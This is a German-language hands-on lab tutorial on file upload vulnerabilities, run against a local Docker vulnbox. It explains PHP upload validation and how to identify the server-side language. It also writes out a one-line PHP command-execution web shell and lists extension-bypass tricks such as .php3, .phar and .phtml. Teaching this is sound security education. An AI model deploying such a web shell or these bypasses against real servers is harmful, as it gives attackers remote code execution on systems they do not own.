File-Upload-Schwachstellen mit Nmap ausnutzen

NmapBeginner
Jetzt üben

Einführung

Dieses Lab konzentriert sich auf Schwachstellen beim Hochladen von Dateien (File Upload Vulnerabilities), einem häufigen Sicherheitsproblem in Webanwendungen. Sie lernen, wie Sie diese Schwachstellen identifizieren, deren potenziellen Auswirkungen verstehen und Methoden zu deren Ausnutzung erkunden. Das Lab bietet praktische Erfahrungen mit Beispielen, die es Ihnen ermöglichen, Webanwendungssicherheitskonzepte und defensive Maßnahmen besser zu verstehen.

File-Upload-Schwachstellen verstehen

Dateiupload-Schwachstellen (File Upload Vulnerabilities) treten auf, wenn Webanwendungen hochgeladene Dateien nicht ordnungsgemäß validieren. Dies kann es Angreifern ermöglichen, bösartige Dateien hochzuladen, was potenziell zur Remote Code Execution (RCE) auf dem Server führen kann.

Betrachten wir eine typische Dateiupload-Implementierung in PHP unter Verwendung der Funktion move_uploaded_file():

<?php
// The move_uploaded_file() function moves an uploaded file to a new location
// Returns true on success, false on failure
move_uploaded_file($file, $newloc);

Parameter:

  • $file: Die hochgeladene Datei, die verschoben werden soll
  • $newloc: Der Zielpfad für die Datei

Eine sichere Implementierung sollte eine ordnungsgemäße Validierung beinhalten, wie in diesem Beispiel gezeigt:

<?php
// Define allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);        // Get the file extension

if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] < 204800)    // Less than 200 KB
    && in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "Error: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
        echo "File type: " . $_FILES["file"]["type"] . "<br>";
        echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
        echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "Invalid file format";
}
?>

Dieser Code demonstriert mehrere wichtige Sicherheitsüberprüfungen:

  • Dateierweiterungsvalidierung (File extension validation)
  • MIME-Typ-Verifizierung (MIME type verification)
  • Dateigrößenbeschränkung (File size limitation)
  • Fehlerbehandlung (Error handling)

Ohne diese Validierungen könnten Angreifer potenziell bösartige Dateien hochladen, die auf dem Server ausgeführt werden.

Identifizierung der serverseitigen Sprache

Vor der Ausnutzung einer Dateiupload-Schwachstelle (File Upload Vulnerability) ist es entscheidend, die serverseitige Sprache (Server-side Language) zu identifizieren, die von der Webanwendung verwendet wird. Diese Information bestimmt, welcher Dateityp für eine erfolgreiche Ausnutzung hochgeladen werden muss.

Richten wir zunächst unsere Laborumgebung ein:

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images

Nachdem Sie diesen Befehl ausgeführt haben, überprüfen Sie, ob die Umgebung unter folgender Adresse erreichbar ist: http://localhost:82

Methoden zur Identifizierung der serverseitigen Sprache:

  1. URL-Dateierweiterungen (URL File Extensions):

    • .php-Erweiterungen deuten auf PHP hin
    • .asp- oder .aspx-Erweiterungen deuten auf ASP.NET hin
    • .jsp-Erweiterungen deuten auf Java Server Pages hin
  2. Server-Header (Server Headers):

    • Microsoft IIS läuft typischerweise mit ASP.NET
    • Apache oder Nginx laufen üblicherweise mit PHP
    • Apache Tomcat läuft mit JSP

Sie können die Wappalyzer-Browsererweiterung verwenden, um den Webserver und die Programmiersprache automatisch zu erkennen:

In unserer Laborumgebung sollten Sie Folgendes sehen:

Web Server: Apache
Backend Language: PHP

Hochladen einer Web Shell

Nachdem wir PHP als serverseitige Sprache (Server-side Language) identifiziert haben, laden wir eine PHP-Web Shell hoch, um Befehle auf dem Server auszuführen.

Eine Sammlung von Web Shells finden Sie hier:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
  1. Erstellen Sie eine Testdatei phpinfo.php im Verzeichnis /home/labex/project:
<?php phpinfo(); ?>
  1. Laden Sie die Datei hoch:

  2. Überprüfen Sie den Upload:

  3. Erstellen Sie eine Befehlsausführungs-Shell shell.php:

<?php echo "Shell"; system($_GET['cmd']); ?>
  1. Laden Sie die Shell hoch und testen Sie sie:

  2. Führen Sie Befehle aus:

Hinweis: Dieses Lab demonstriert grundlegende Web Shell-Funktionalität. Fortgeschrittene Themen wie Reverse Shells und Privilege Escalation werden in fortgeschritteneren Kursen behandelt.

Umgehen von Serverbeschränkungen (Optional)

Einige Webanwendungen implementieren Dateierweiterungsbeschränkungen (File Extension Restrictions), um das Hochladen schädlicher Dateien zu verhindern. Dieser Abschnitt untersucht Methoden, um diese Einschränkungen zu umgehen (bypass).

Wenn .php-Erweiterungen blockiert sind, versuchen Sie alternative PHP-Erweiterungen, die möglicherweise ausführbar sind:

  1. Versuchen Sie, mit der Erweiterung .php3 hochzuladen:

  2. Wenn dies nicht erfolgreich ist, versuchen Sie die Erweiterung .phar:

Gängige Bypass-Erweiterungen, die Sie ausprobieren können:

  • .php3
  • .php4
  • .php5
  • .phar
  • .phtml

Hinweis: Der Erfolg hängt von der Serverkonfiguration ab. Verschiedene Server erlauben möglicherweise die Ausführung verschiedener Erweiterungen als PHP-Code.

Zusammenfassung

Dieses Lab behandelte wesentliche Aspekte von File-Upload-Schwachstellen (File Upload Vulnerabilities):

Kernkonzepte:

  • Verständnis der Mechanismen von File-Upload-Schwachstellen
  • Identifizierung serverseitiger Programmiersprachen (Server-side Programming Languages)
  • Hochladen und Ausführen von Web Shells
  • Umgehen von Dateierweiterungsbeschränkungen (Bypassing File Extension Restrictions)

Erworbene technische Fähigkeiten:

  • Erkennung der serverseitigen Sprache (Server-side Language Detection)
  • Erstellung und Bereitstellung von Web Shells
  • Befehlsausführung über hochgeladene Dateien
  • Techniken zum Umgehen von Erweiterungen (Extension Bypass Techniques)

Sicherheitsauswirkungen:

  • Auswirkungen unzureichender Dateivalidierung (File Validation)
  • Bedeutung angemessener Upload-Beschränkungen
  • Serverseitige Ausführungsrisiken (Server-side Execution Risks)

Dieses grundlegende Wissen bereitet Sie auf fortgeschrittene Themen der Webanwendungssicherheit (Web Application Security) vor, die in nachfolgenden Kursen behandelt werden.